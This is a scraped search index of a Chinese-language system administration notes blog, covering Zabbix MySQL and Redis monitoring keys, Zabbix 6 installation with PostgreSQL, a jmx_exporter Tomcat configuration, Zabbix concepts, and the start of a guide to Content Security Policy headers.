MYSQL.PORT}\u0026quot;] Availability: MySQL status 數據庫狀態1：正常0：異常 mysql.aborted_clients.rate Connections: Aborted clients per second 每秒中止的客戶端數 mysql.aborted_connects.rate Connections: Aborted connections per second 每秒中止的連接數 mysql.connection_errors_accept.rate Connections: Connection errors accept per second 每秒接受的連接錯誤數 mysql.connection_errors_internal.rate Connections: Connection errors internal per second 每秒內部連接錯誤數 mysql.connection_errors_max_connections.rate Connections: Connection errors max connections per second 連接錯誤每秒最大連接數 mysql.connection_errors_peer_address.rate Connections: Connection errors peer address per second 每秒對等地址連接錯誤數 mysql.connection_errors_select.rate Connections: Connection errors select per second 每秒查詢的連接錯誤數 mysql.connection_errors_tcpwrap.rate Connections: Connection errors tcpwrap per second 每秒tcpwrap 連接錯誤錯誤數 mysql.connections.rate Connections: Connections per second 每秒連接數 mysql.max_used_connections Connections: Max used connections 使用的最大連接數 mysql.threads_cached Connections: Threads cached 緩存的線程數 mysql.threads_connected Connections: Threads connected 連接的線程數 mysql.threads_created Connections: Threads created 創建的線程數 mysql.version[\u0026quot;{ MYSQL.HOST}\u0026quot;,\u0026quot;{ MYSQL.PORT}\u0026quot;] Info: MySQL version MySQL 版本 mysql.uptime Info: Uptime 運行時間 mysql.buffer_pool_efficiency Performance: Buffer pool efficiency 緩衝池效率（%） mysql.buffer_pool_utilization Performance: Buffer pool utilization 緩衝池利用率（%） mysql.created_tmp_files Performance: Created tmp files on disk 在磁盤上創建的臨時文件數 mysql.created_tmp_disk_tables Performance: Created tmp tables on disk 在磁盤上創建的臨時表數 mysql.created_tmp_tables Performance: Created tmp tables on memory 在內存中創建的臨時表數 mysql.innodb_buffer_pool_pages_free Performance: InnoDB buffer pool pages free InnoDB 緩衝池頁面可用 mysql.innodb_buffer_pool_pages_total Performance: InnoDB buffer pool pages total InnoDB 緩衝池頁總數 mysql.innodb_buffer_pool_read_requests Performance: InnoDB buffer pool read requests InnoDB 緩衝池讀取請求 mysql.innodb_buffer_pool_reads Performance: InnoDB buffer pool reads InnoDB 緩衝池讀取 mysql.innodb_row_lock_time Performance: InnoDB row lock time InnoDB 行鎖定時間 mysql.innodb_row_lock_time_max Performance: InnoDB row lock time max InnoDB 最大行鎖定時間 mysql.innodb_row_lock_waits Performance: InnoDB row lock waits InnoDB 行鎖等待 mysql.slow_queries.rate Performance: Slow queries per second 每秒慢查询数 mysql.bytes_received.rate Throughput: Bytes received 接收的字节数 mysql.bytes_sent.rate Throughput: Bytes sent 发送的字节数 mysql.com_delete.rate Throughput: Command Delete per second 每秒删除操作数 mysql.com_insert.rate Throughput: Command Insert per second 每秒插入操作数 mysql.com_select.rate Throughput: Command Select per second 每秒查询操作数 mysql.com_update.rate Throughput: Command Update per second 每秒更新操作数 mysql.queries.rate Throughput: Queries per second 每秒查询数 mysql.questions.rate Throughput: Questions per second 每秒问题数 ","date":"May 11, 2025","externalUrl":null,"permalink":"/worknot/zabbix-mysql/","section":"Worknots","summary":"zabbix mySQL 監控 # 監控項關鍵字（item_key) 監控項名稱（item_name） 備註 mysql.dbsize[\"{ MYSQL.HOST}\",\"{ MYSQL.PORT}\",“數據庫名字”] Info: Size of database 數據庫名字 數據庫大小 mysql.ping[\"{ MYSQL.HOST}\",\"{ MYSQL.PORT}\"] Availability: MySQL status 數據庫狀態1：正常0：異常 mysql.aborted_clients.rate Connections: Aborted clients per second 每秒中止的客戶端數 mysql.aborted_connects.rate Connections: Aborted connections per second 每秒中止的連接數 mysql.connection_errors_accept.rate Connections: Connection errors accept per second 每秒接受的連接錯誤數 mysql.connection_errors_internal.rate Connections: Connection errors internal per second 每秒內部連接錯誤數 mysql.connection_errors_max_connections.rate Connections: Connection errors max connections per second 連接錯誤每秒最大連接數 mysql.connection_errors_peer_address.rate Connections: Connection errors peer address per second 每秒對等地址連接錯誤數 mysql.connection_errors_select.rate Connections: Connection errors select per second 每秒查詢的連接錯誤數 mysql.connection_errors_tcpwrap.rate Connections: Connection errors tcpwrap per second 每秒tcpwrap 連接錯誤錯誤數 mysql.connections.rate Connections: Connections per second 每秒連接數 mysql.max_used_connections Connections: Max used connections 使用的最大連接數 mysql.threads_cached Connections: Threads cached 緩存的線程數 mysql.threads_connected Connections: Threads connected 連接的線程數 mysql.threads_created Connections: Threads created 創建的線程數 mysql.version[\"{ MYSQL.HOST}\",\"{ MYSQL.PORT}\"] Info: MySQL version MySQL 版本 mysql.uptime Info: Uptime 運行時間 mysql.buffer_pool_efficiency Performance: Buffer pool efficiency 緩衝池效率（%） mysql.buffer_pool_utilization Performance: Buffer pool utilization 緩衝池利用率（%） mysql.created_tmp_files Performance: Created tmp files on disk 在磁盤上創建的臨時文件數 mysql.created_tmp_disk_tables Performance: Created tmp tables on disk 在磁盤上創建的臨時表數 mysql.created_tmp_tables Performance: Created tmp tables on memory 在內存中創建的臨時表數 mysql.innodb_buffer_pool_pages_free Performance: InnoDB buffer pool pages free InnoDB 緩衝池頁面可用 mysql.innodb_buffer_pool_pages_total Performance: InnoDB buffer pool pages total InnoDB 緩衝池頁總數 mysql.innodb_buffer_pool_read_requests Performance: InnoDB buffer pool read requests InnoDB 緩衝池讀取請求 mysql.innodb_buffer_pool_reads Performance: InnoDB buffer pool reads InnoDB 緩衝池讀取 mysql.innodb_row_lock_time Performance: InnoDB row lock time InnoDB 行鎖定時間 mysql.innodb_row_lock_time_max Performance: InnoDB row lock time max InnoDB 最大行鎖定時間 mysql.innodb_row_lock_waits Performance: InnoDB row lock waits InnoDB 行鎖等待 mysql.slow_queries.rate Performance: Slow queries per second 每秒慢查询数 mysql.bytes_received.rate Throughput: Bytes received 接收的字节数 mysql.bytes_sent.rate Throughput: Bytes sent 发送的字节数 mysql.com_delete.rate Throughput: Command Delete per second 每秒删除操作数 mysql.com_insert.rate Throughput: Command Insert per second 每秒插入操作数 mysql.com_select.rate Throughput: Command Select per second 每秒查询操作数 mysql.com_update.rate Throughput: Command Update per second 每秒更新操作数 mysql.queries.rate Throughput: Queries per second 每秒查询数 mysql.questions.rate Throughput: Questions per second 每秒问题数 ","title":"Zabbix MySQL","type":"worknot"},{"content":"","date":"May 11, 2025","externalUrl":null,"permalink":"/tags/redis/","section":"Tags","summary":"","title":"Redis","type":"tags"},{"content":" 監控項關鍵字（item_key) 監控項名稱（item_name） 備註 Redis.Status Redis Status redis狀態1：正常0：異常 Redis.Info[aof_last_bgrewrite_status] Redis.Info[aof_last_bgrewrite_status] 上次重寫狀態 Redis.Info[aof_last_write_status] Redis.Info[aof_last_write_status] 上次寫入狀態 Redis.Info[blocked_clients] Redis.Info[blocked_clients] 阻塞的客戶端數 Redis.Info[connected_clients] Redis.Info[connected_clients] 連接的客戶端數 Redis.Info[db0,keys] Redis.Info[db0,keys] db0數據庫中key的數量 Redis.Info[rdb_last_bgsave_status] Redis.Info[rdb_last_bgsave_status] 上次保存狀態 Redis.Info[uptime] Redis.Info[uptime] 運行時間（秒） Redis.Info[used_cpu_sys] Redis.Info[used_cpu_sys] redis進程指令在核心態所消耗的CPU時間（秒） Redis.Info[used_cpu_sys_children] Redis.Info[used_cpu_sys_children] redis後台進程指令在核心態所消耗的CPU時間（秒） Redis.Info[used_cpu_user] Redis.Info[used_cpu_user] redis進程指令在用戶態所消耗的CPU時間（秒） Redis.Info[used_cpu_user_children] Redis.Info[used_cpu_user_children] redis後台進程指令在用戶態所消耗的CPU時間（秒） Redis.Info[used_memory] Redis.Info[used_memory] redis內存使用總量（字節） Redis.Info[used_memory_lua] Redis.Info[used_memory_lua] Lua腳本引擎所使用的內存大小（字節） Redis.Info[used_memory_peak] Redis.Info[used_memory_peak] redis的內存消耗峰值（字節） Redis.Info[used_memory_rss] Redis.Info[used_memory_rss] 從操作系統上顯示已經分配的內存總量（字節） Redis.Info[version] Redis.Info[version] redis版本 ","date":"May 11, 2025","externalUrl":null,"permalink":"/worknot/zabbix-redis/","section":"Worknots","summary":" 監控項關鍵字（item_key) 監控項名稱（item_name） 備註 Redis.Status Redis Status redis狀態1：正常0：異常 Redis.Info[aof_last_bgrewrite_status] Redis.Info[aof_last_bgrewrite_status] 上次重寫狀態 Redis.Info[aof_last_write_status] Redis.Info[aof_last_write_status] 上次寫入狀態 Redis.Info[blocked_clients] Redis.Info[blocked_clients] 阻塞的客戶端數 Redis.Info[connected_clients] Redis.Info[connected_clients] 連接的客戶端數 Redis.Info[db0,keys] Redis.Info[db0,keys] db0數據庫中key的數量 Redis.Info[rdb_last_bgsave_status] Redis.Info[rdb_last_bgsave_status] 上次保存狀態 Redis.Info[uptime] Redis.Info[uptime] 運行時間（秒） Redis.Info[used_cpu_sys] Redis.Info[used_cpu_sys] redis進程指令在核心態所消耗的CPU時間（秒） Redis.Info[used_cpu_sys_children] Redis.Info[used_cpu_sys_children] redis後台進程指令在核心態所消耗的CPU時間（秒） Redis.Info[used_cpu_user] Redis.Info[used_cpu_user] redis進程指令在用戶態所消耗的CPU時間（秒） Redis.Info[used_cpu_user_children] Redis.Info[used_cpu_user_children] redis後台進程指令在用戶態所消耗的CPU時間（秒） Redis.Info[used_memory] Redis.Info[used_memory] redis內存使用總量（字節） Redis.Info[used_memory_lua] Redis.Info[used_memory_lua] Lua腳本引擎所使用的內存大小（字節） Redis.Info[used_memory_peak] Redis.Info[used_memory_peak] redis的內存消耗峰值（字節） Redis.Info[used_memory_rss] Redis.Info[used_memory_rss] 從操作系統上顯示已經分配的內存總量（字節） Redis.Info[version] Redis.Info[version] redis版本 ","title":"Zabbix Redis","type":"worknot"},{"content":" 部屬環境 # Zabbix version: Zabbix-6 OS: Rocky Linux 9 安裝步驟 # 安裝 package # Rocky Linux 9 # 1 2 3 4 rpm -Uvh https://repo.zabbix.com/zabbix/6.0/rhel/9/x86_64/zabbix-release-6.0-4.el9.noarch.rpm dnf clean all dnf install zabbix-apache-conf dnf install -y zabbix-server-pgsql zabbix-web-pgsql zabbix-sql-scripts zabbix-selinux-policy zabbix-agent Debian # 1 2 3 wget https://repo.zabbix.com/zabbix/6.0/debian/pool/main/z/zabbix-release/zabbix-release_6.0-4%2Bdebian10_all.deb dpkg -i zabbix-release_6.0-4+debian10_all.deb apt update 1 apt install zabbix-server-pgsql zabbix-frontend-php php7.3-pgsql zabbix-apache-conf zabbix-sql-scripts zabbix-agent 匯入資料 # 安裝資料庫\n設定資料庫\n1 2 3 4 5 6 sudo -u postgres createuser --pwprompt zabbix sudo -u postgres createdb -O zabbix zabbix sudo -u postgres psql -c \u0026#34;GRANT ALL ON DATABASE zabbix to zabbix\u0026#34; psql -U postgres -d zabbix GRANT ALL PRIVILEGES ON ALL TABLES IN SCHEMA public TO zabbix; GRANT ALL PRIVILEGES ON ALL SEQUENCES IN SCHEMA public TO zabbix; 1 2 # /usr/share/zabbix-sql-scripts/postgresql/server.sql.gz zcat server.sql.gz | sudo -u postgres psql zabbix /etc/zabbix/zabbix_server.conf 1 DBPassword=Password 設定 zabbix # http://[ip]/zabbix\n預設帳號密碼\nAdmin / zabbix\nzabbix 繁體中文設定 # 檢查有安裝繁體中文編碼 1 locale -a | grep \u0026#34;zh_TW\u0026#34; /usr/share/zabbix/include/locales.inc.php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 /** * Returns a list of all used locales. * * Each locale has the following properties: * - name - the full name of the locale * - display - whether to display the locale in the frontend * * @return array an array of locales with locale codes as keys and arrays as values */ function getLocales(): array { return [ \u0026#39;zh_TW\u0026#39; =\u0026gt; [\u0026#39;name\u0026#39; =\u0026gt; _(\u0026#39;Chinese (zh_TW)\u0026#39;), \u0026#39;display\u0026#39; =\u0026gt; true], ]; } 啟動服務\n1 2 systemctl restart zabbix-server zabbix-agent httpd php-fpm systemctl enable zabbix-server zabbix-agent httpd php-fpm Zabbix 監控 web # 術語 # web Scenario： web場景（站點） web page ：web頁麵，一個場景有多個頁麵 內建key：要測一個頁麵，要測三個步驟（下邊3個內建key） 內建 key # web.test.in[Scenario,Step,bps]：傳輸速率 web.test.time[Scenario,Step]： 回響時長 web.test.rspcode[Scenario,Step]：回響碼 Zabbix Template 的平台 # Zabbix: https://git.zabbix.com/projects/ZBX/repos/zabbix/browse/templates\nhttps://www.zabbix.com/integrations\n參考資料 # zabbix-基础系列(九)-Zabbix web 监控 監控大挑戰 – 以 Zabbix 為例 Day 01. 回想監控的起源 ","date":"May 11, 2025","externalUrl":null,"permalink":"/worknot/zabbix-deploy/","section":"Worknots","summary":"部屬環境 # Zabbix version: Zabbix-6 OS: Rocky Linux 9 安裝步驟 # 安裝 package # Rocky Linux 9 # 1 2 3 4 rpm -Uvh https://repo.zabbix.com/zabbix/6.0/rhel/9/x86_64/zabbix-release-6.0-4.el9.noarch.rpm dnf clean all dnf install zabbix-apache-conf dnf install -y zabbix-server-pgsql zabbix-web-pgsql zabbix-sql-scripts zabbix-selinux-policy zabbix-agent Debian # 1 2 3 wget https://repo.zabbix.com/zabbix/6.0/debian/pool/main/z/zabbix-release/zabbix-release_6.0-4%2Bdebian10_all.deb dpkg -i zabbix-release_6.0-4+debian10_all.deb apt update 1 apt install zabbix-server-pgsql zabbix-frontend-php php7.3-pgsql zabbix-apache-conf zabbix-sql-scripts zabbix-agent 匯入資料 # 安裝資料庫\n","title":"Zabbix Deploy","type":"worknot"},{"content":"","date":"May 11, 2025","externalUrl":null,"permalink":"/tags/java/","section":"Tags","summary":"","title":"Java","type":"tags"},{"content":"jmx_exporter\n使用方式 # 監控 JVM 與 tomcat 資訊\n/path/to/your/jmx-exporter.yml 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 # https://grafana.com/grafana/dashboards/8704-tomcat-dashboard/ --- whitelistObjectNames: [\u0026#34;java.lang:type=OperatingSystem\u0026#34;, \u0026#34;Catalina:*\u0026#34;] rules: - pattern: \u0026#39;Catalina\u0026lt;type=Server\u0026gt;\u0026lt;\u0026gt;serverInfo: (.+)\u0026#39; name: tomcat_serverinfo value: 1 labels: serverInfo: \u0026#34;$1\u0026#34; type: COUNTER - pattern: \u0026#39;Catalina\u0026lt;type=GlobalRequestProcessor, name=\\\u0026#34;(\\w+-\\w+)-(\\d+)\\\u0026#34;\u0026gt;\u0026lt;\u0026gt;(\\w+):\u0026#39; name: tomcat_$3_total labels: port: \u0026#34;$2\u0026#34; protocol: \u0026#34;$1\u0026#34; help: Tomcat global $3 type: COUNTER - pattern: \u0026#39;Catalina\u0026lt;j2eeType=Servlet, WebModule=//([-a-zA-Z0-9+\u0026amp;@#/%?=~_|!:.,;]*[-a-zA-Z0-9+\u0026amp;@#/%=~_|]), name=([-a-zA-Z0-9+/$%~_-|!.]*), J2EEApplication=none, J2EEServer=none\u0026gt;\u0026lt;\u0026gt;(requestCount|processingTime|errorCount):\u0026#39; name: tomcat_servlet_$3_total labels: module: \u0026#34;$1\u0026#34; servlet: \u0026#34;$2\u0026#34; help: Tomcat servlet $3 total type: COUNTER - pattern: \u0026#39;Catalina\u0026lt;type=ThreadPool, name=\u0026#34;(\\w+-\\w+)-(\\d+)\u0026#34;\u0026gt;\u0026lt;\u0026gt;(currentThreadCount|currentThreadsBusy|keepAliveCount|connectionCount|acceptCount|acceptorThreadCount|pollerThreadCount|maxThreads|minSpareThreads):\u0026#39; name: tomcat_threadpool_$3 labels: port: \u0026#34;$2\u0026#34; protocol: \u0026#34;$1\u0026#34; help: Tomcat threadpool $3 type: GAUGE - pattern: \u0026#39;Catalina\u0026lt;type=Manager, host=([-a-zA-Z0-9+\u0026amp;@#/%?=~_|!:.,;]*[-a-zA-Z0-9+\u0026amp;@#/%=~_|]), context=([-a-zA-Z0-9+/$%~_-|!.]*)\u0026gt;\u0026lt;\u0026gt;(processingTime|sessionCounter|rejectedSessions|expiredSessions):\u0026#39; name: tomcat_session_$3_total labels: context: \u0026#34;$2\u0026#34; host: \u0026#34;$1\u0026#34; help: Tomcat session $3 total type: COUNTER - pattern: \u0026#39;.*\u0026#39; 1 java -javaagent:./jmx_prometheus_javaagent-0.19.0.jar=12345:config.yaml -jar yourJar.jar http://localhost:12345/metrics\nJAVA6,7 最後一版 # jmx_prometheus_javaagent_java6-0.18.0.jar\nv0.19.0 [BREAKING] Removed support for Java 6. New baseline is Java 8\n","date":"May 11, 2025","externalUrl":null,"permalink":"/worknot/jmx_exporter/","section":"Worknots","summary":"jmx_exporter\n使用方式 # 監控 JVM 與 tomcat 資訊\n/path/to/your/jmx-exporter.yml 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 # https://grafana.com/grafana/dashboards/8704-tomcat-dashboard/ --- whitelistObjectNames: [\"java.lang:type=OperatingSystem\", \"Catalina:*\"] rules: - pattern: 'Catalina\u003ctype=Server\u003e\u003c\u003eserverInfo: (.+)' name: tomcat_serverinfo value: 1 labels: serverInfo: \"$1\" type: COUNTER - pattern: 'Catalina\u003ctype=GlobalRequestProcessor, name=\\\"(\\w+-\\w+)-(\\d+)\\\"\u003e\u003c\u003e(\\w+):' name: tomcat_$3_total labels: port: \"$2\" protocol: \"$1\" help: Tomcat global $3 type: COUNTER - pattern: 'Catalina\u003cj2eeType=Servlet, WebModule=//([-a-zA-Z0-9+\u0026@#/%?=~_|!:.,;]*[-a-zA-Z0-9+\u0026@#/%=~_|]), name=([-a-zA-Z0-9+/$%~_-|!.]*), J2EEApplication=none, J2EEServer=none\u003e\u003c\u003e(requestCount|processingTime|errorCount):' name: tomcat_servlet_$3_total labels: module: \"$1\" servlet: \"$2\" help: Tomcat servlet $3 total type: COUNTER - pattern: 'Catalina\u003ctype=ThreadPool, name=\"(\\w+-\\w+)-(\\d+)\"\u003e\u003c\u003e(currentThreadCount|currentThreadsBusy|keepAliveCount|connectionCount|acceptCount|acceptorThreadCount|pollerThreadCount|maxThreads|minSpareThreads):' name: tomcat_threadpool_$3 labels: port: \"$2\" protocol: \"$1\" help: Tomcat threadpool $3 type: GAUGE - pattern: 'Catalina\u003ctype=Manager, host=([-a-zA-Z0-9+\u0026@#/%?=~_|!:.,;]*[-a-zA-Z0-9+\u0026@#/%=~_|]), context=([-a-zA-Z0-9+/$%~_-|!.]*)\u003e\u003c\u003e(processingTime|sessionCounter|rejectedSessions|expiredSessions):' name: tomcat_session_$3_total labels: context: \"$2\" host: \"$1\" help: Tomcat session $3 total type: COUNTER - pattern: '.*' 1 java -javaagent:./jmx_prometheus_javaagent-0.19.0.jar=12345:config.yaml -jar yourJar.jar http://localhost:12345/metrics\n","title":"Jmx_exporter","type":"worknot"},{"content":" Zabbix 核心元件解析 # Zabbix 是一套功能強大的開源監控解決方案，其架構由多個核心元件緊密協作而成，以下將逐一介紹：\n1. Zabbix 伺服器 (Zabbix Server) Zabbix 伺服器是整個監控系統的大腦與心臟。它肩負著接收所有監控數據的重任，無論這些數據是來自 Zabbix Agent 主動回報，還是 Zabbix Proxy 彙整轉發。伺服器會對收到的數據進行處理、分析，並根據預設的規則判斷是否觸發告警。同時，它也負責將歷史監控數據以及系統設定資訊持久化儲存到後端資料庫中，以供後續查詢與分析。\n2. Zabbix 代理程式 (Zabbix Agent) Zabbix 代理程式是部署在每一台受監控主機或裝置上的輕量級軟體。它的主要職責是主動採集該主機的各種效能指標 (例如 CPU 使用率、記憶體用量、網路流量、磁碟空間) 和應用程式狀態等數據。採集完成後，代理程式會將數據傳送給 Zabbix 伺服器或指定的 Zabbix Proxy 進行後續處理。\n目前 Zabbix Agent 主要有兩個版本：\nZabbix Agent (C 語言版)：這是以 C 語言開發的傳統版本，具有極高的穩定性與跨平台特性，幾乎支援所有主流的作業系統。 Zabbix Agent 2 (Go 語言版)：這是以 Go 語言重新打造的新一代代理程式。相較於 C 語言版本，Agent 2 的優勢包括：能更有效地管理 TCP 連線數量，進而降低系統資源消耗；支援更高的併發處理能力，提升數據採集效率；並且更容易進行功能擴充與插件開發。Agent 2 的目標是逐步取代傳統的 Zabbix Agent，目前已穩定支援 Linux 和 Windows 平台。 3. Zabbix 代理伺服器 (Zabbix Proxy) Zabbix Proxy 可視為 Zabbix 伺服器的「分身」或「區域數據收集中心」。在大型或分散式的監控環境中 (例如擁有多個分公司或 IDC 的企業)，可以部署 Zabbix Proxy。它會代替 Zabbix 伺服器接收其管轄範圍內各個 Agent 回報的監控數據，進行初步的預處理和彙整，然後再將這些數據批次傳送給中央的 Zabbix 伺服器。 這種架構能顯著減輕 Zabbix 伺服器的處理壓力與網路負載，同時也能在中央伺服器與遠端監控點之間的網路不穩定時，提供數據緩衝，確保監控數據不遺失。Zabbix Proxy 本身也需要一個資料庫來暫存收集到的數據。\n4. Zabbix 前端 (Web 介面) Zabbix 提供了一個功能完整且操作直觀的網頁介面 (Frontend)。管理者可以透過瀏覽器登入此介面，進行所有 Zabbix 相關的設定與管理任務，例如：\n新增、設定及管理受監控的主機與主機群組。 定義及調整監控項目 (Items) 與觸發器 (Triggers)。 查閱即時與歷史的監控數據圖表。 設定告警通知的條件與方式 (Actions 與 Media Types)。 管理使用者權限與系統參數等。 5. 資料庫 (Database) 資料庫是 Zabbix 運作不可或缺的基石，負責儲存兩大類重要資訊：\n設定資訊：包括所有主機配置、監控項目定義、觸發器規則、告警設定、使用者帳號、模板等等。 監控數據：所有從 Agent 或 Proxy 收集到的歷史效能指標與狀態數據。 Zabbix 支援多種主流的資料庫系統，讓使用者可以根據自身環境與偏好進行選擇，常見的包括：MySQL (及其高效能分支如 Percona Server、MariaDB)、Oracle、PostgreSQL。對於 PostgreSQL，還可以搭配 TimescaleDB 擴充套件來進一步優化時間序列數據的儲存與查詢效能。SQLite 也被支援，但通常僅建議用於非常小型或測試性質的部署。 Zabbix 常用術語釋義 # 為了更好地理解與使用 Zabbix，以下是一些核心名詞的解釋：\n主機 (Host) 您想要監控的任何網路裝置，例如實體伺服器、虛擬機、網路交換器、路由器、印表機，甚至是特定的應用程式服務。在 Zabbix 中，主機會透過其 IP 位址或網域名稱來識別。\n主機群組 (Host Group) 主機的邏輯性集合，主要用於組織與管理。一個主機群組可以包含多個主機，也可以連結模板。主機群組的常見用途是在分配使用者權限時，方便地將特定主機的監控權限授予特定的使用者群組。\n監控項目 (Item) 您希望從主機上收集的特定數據點或度量指標。例如：CPU 的負載、可用記憶體大小、特定網路埠的流量、硬碟剩餘空間、某個服務是否正在執行等。\n觸發器 (Trigger) 一個邏輯表達式，用於定義監控項目數據的「問題」閾值。當 Zabbix 收集到的數據滿足觸發器中定義的條件時 (例如 CPU 使用率超過 90% 持續 5 分鐘)，觸發器的狀態就會從「正常 (OK)」轉變為「問題 (Problem)」。當數據恢復到正常範圍，觸發器狀態也會隨之恢復。\n事件 (Event) 系統中任何值得注意的單次發生情況。最常見的事件就是觸發器狀態的改變 (例如從 OK 變 Problem)。其他事件還包括：監控代理程式的自動註冊、主機被自動發現、使用者登入等。\n問題 (Problem) 指一個當前正處於「問題 (Problem)」狀態的觸發器。這表示某個被監控的指標已經達到了預警或嚴重狀態，需要關注或處理。\n動作 (Action) 針對特定事件 (尤其是觸發器狀態改變為「問題」時) 所預先定義的一系列自動化反應。一個動作通常包含「條件」(判斷何時執行此動作) 與「操作」(具體執行的任務，例如發送告警通知、執行遠端指令等)。\n升級 (Escalation) 在「動作」內部定義的一套客製化、階段性的處理流程。例如，一個問題發生後，可以設定升級機制：首先通知初階工程師；若 15 分鐘內問題未解決，則自動升級通知給資深工程師或主管。升級可以包含多個步驟，每個步驟可以有不同的通知對象或執行的遠端命令。\n媒介類型 (Media Type) / 媒介 (Media) 傳送告警通知的具體方式或管道。Zabbix 內建支援多種媒介類型，如電子郵件 (Email)、簡訊 (SMS)。同時，也支援透過腳本 (Script) 的方式與外部通知系統整合，例如 Slack、Microsoft Teams、LINE Notify、Telegram 等。\n通知 (Notification) 透過預先設定好的「媒介類型」，將與特定事件 (通常是問題產生或解決) 相關的告警訊息發送給指定的使用者或使用者群組。\n遠端命令 (Remote Command) 預先定義好的，在滿足特定條件的情況下 (通常由「動作」觸發)，可以在受監控主機上自動執行的指令或腳本。例如，當偵測到某個關鍵服務停止時，可以自動執行重啟該服務的命令。\n模板 (Template) 一組可以被套用至一個或多個主機的標準化監控設定實體集合。模板中可以包含預設的監控項目、觸發器、圖形、應用程式分類、低階自動發現 (LLD) 規則、Web 檢測場景等。使用模板的主要目的是大幅簡化對大量主機的監控部署與維護工作，並確保監控策略的一致性。模板可以直接連結到個別主機，或透過主機群組間接套用。\n應用程式 (Application) 在主機或模板層級，對相關的監控項目進行邏輯上的分組歸類。例如，可以將所有與 CPU 相關的監控項目 (如 CPU 使用率、CPU 負載、CPU 中斷等) 歸類到名為「CPU」的應用程式下，方便檢視與管理。\nWeb 檢測 (Web Scenario) 透過模擬使用者瀏覽行為，執行一個或多個 HTTP/HTTPS 請求，來檢查網站或 Web 應用程式的可用性、回應時間、下載速度以及特定頁面內容是否正確等。\n前端 (Frontend) 即 Zabbix 提供的 Web 操作介面 (已於「Zabbix 核心元件解析」中詳述)，讓使用者能透過瀏覽器方便地管理及檢視整個 Zabbix 監控系統。\nZabbix API (應用程式介面) Zabbix 提供的一組豐富的應用程式介面，採用 JSON RPC 協定。開發者或系統整合商可以透過 Zabbix API，以程式化、自動化的方式進行 Zabbix 物件 (如主機、監控項目、圖形等) 的建立、讀取、更新、刪除等操作，或執行其他客製化的任務，例如與 CMDB 系統整合、自動化報表產生等。\nZabbix 伺服器 (Zabbix Server) Zabbix 軟體中實現監控功能的核心程式 (已於「Zabbix 核心元件解析」中詳述)。\nZabbix 代理程式 (Zabbix Agent) 部署在受監控目標主機上，能夠主動監控本機資源和應用程式狀態的程式 (已於「Zabbix 核心元件解析」中詳述，包含 C 語言版與 Go 語言開發的 Zabbix Agent 2)。\n被動 (Passive) 與 主動 (Active) 檢查模式 Zabbix Agent 支援兩種數據收集模式，這兩種模式是由監控項目的類型 (Item Type) 來決定的：\n被動模式 (Passive Check)：在此模式下，Zabbix 伺服器 (或 Zabbix Proxy) 會主動向 Zabbix Agent 發出數據請求 (輪詢)。Agent 收到請求後，才收集對應的數據並回傳結果。此模式下，監控項目類型通常設定為 \u0026lsquo;Zabbix agent\u0026rsquo;。 主動模式 (Active Check)：在此模式下，Zabbix Agent 會先主動向 Zabbix 伺服器請求一份它需要監控的項目清單。然後，Agent 會依照這份清單的指示，定期獨立地收集數據，並主動將新的數據值回報給 Zabbix 伺服器。主動模式能有效減輕 Zabbix 伺服器的輪詢負載，尤其適用於 Agent 位於防火牆後方或網路連線品質不穩定的環境。此模式下，監控項目類型設定為 \u0026lsquo;Zabbix agent (active)\u0026rsquo;。 Zabbix 代理伺服器 (Zabbix Proxy) 一個協助 Zabbix 伺服器收集數據，並分攤其整體負載的程式 (已于「Zabbix 核心元件解析」中詳述)。Proxy 會在其本機快取收集到的數據，然後再批次傳送到它所屬的 Zabbix 伺服器。部署 Zabbix Proxy 需要為其配置一個獨立的資料庫，用於儲存 Proxy 本身的設定以及暫存的監控數據。\n參考資料 # Zabbix-基础系列(一)-zabbix简介及原理\n","date":"May 11, 2025","externalUrl":null,"permalink":"/worknot/zabbix-introduce/","section":"Worknots","summary":"Zabbix 核心元件解析 # Zabbix 是一套功能強大的開源監控解決方案，其架構由多個核心元件緊密協作而成，以下將逐一介紹：\n","title":"Zabbix Introduce","type":"worknot"},{"content":" 漏洞類別 - header # 以下漏洞通常可以透過設定 http header 完成漏洞修補\n設定：Content Security Policy (CSP) # 學長姐跟你說，在網站的資安設定裡，CSP 絕對是個狠角色，也是保護使用者非常重要的一道防線。雖然設定起來有點複雜，但學會了超有成就感！\n為什麼需要 CSP？ (它解決什麼問題？) # 想像一下，你的網頁就像一個舞台，上面會跑各種腳本 (JavaScript)、載入各種樣式 (CSS)、圖片等等。如果壞人（駭客）想辦法在這個舞台上偷偷塞進惡意的腳本，就可能偷走使用者的資料、綁架使用者的瀏覽器等等。\nCSP 的主要目的，就是要限制你的網頁只能從「你允許」的地方載入或執行資源，就像是請了一個嚴格的保鑣，不是經過你同意的，一律擋掉！這樣就算網頁不小心有漏洞，駭客也很難成功注入惡意程式碼。\nCSP 是什麼？ (基本觀念) # CSP 其實就是一個列表，你告訴瀏覽器：\n「這個網頁的 JavaScript 只能從 A 網站和 B 網站載入和執行。」 (script-src) 「CSS 樣式表只能從 C 網站和我的網站本身載入。」 (style-src) 「圖片只能從我的網站、某個圖床網站、和 Google Analytics 載入。」 (img-src) \u0026hellip; 以及各種不同類型的資源 (字體、框架、連線位址等等)。 它遵從一個「預設拒絕 (Default Deny)」的原則：只要你沒有明確允許的來源，瀏覽器一律封鎖。\n這也是它困難的地方，因為你必須把網站「所有會用到」的外部資源來源都加到這個允許清單裡，不然一不小心就會把你網站正常的腳本、樣式、圖片給擋掉，導致網頁顯示或功能異常。\n如何設計 CSP 政策？ (觀念與步驟) # 設計 CSP 是一個「疊代」的過程，也就是要慢慢測試、調整，而不是一次到位。\n了解你的網站用了哪些資源： 你的網站載入了哪些外部的 JavaScript (例如 GA 追蹤碼、jQuery CDN、廣告腳本)？用了哪些外部字體？載入了哪些外部圖片？這些都要先盤點。 從「報告模式 (Report-Only)」開始： 非常重要！ 千萬不要一開始就設定強制執行 (Content-Security-Policy)。請先使用 Content-Security-Policy-Report-Only 這個 Header。 設定 report-uri 或 report-to 指令，告訴瀏覽器如果發現有資源被 CSP 擋到（即使在 Report-Only 模式下只是「模擬」阻擋），要把違規的報告送到哪裡。 為什麼要這樣做？ 在 Report-Only 模式下，瀏覽器只會記錄並發送違規報告，但不會真的阻止任何資源載入或執行。這樣你可以在不影響使用者正常瀏覽網站的情況下，收集哪些合法的資源會被你設計的 CSP 擋到。 分析報告並調整政策： 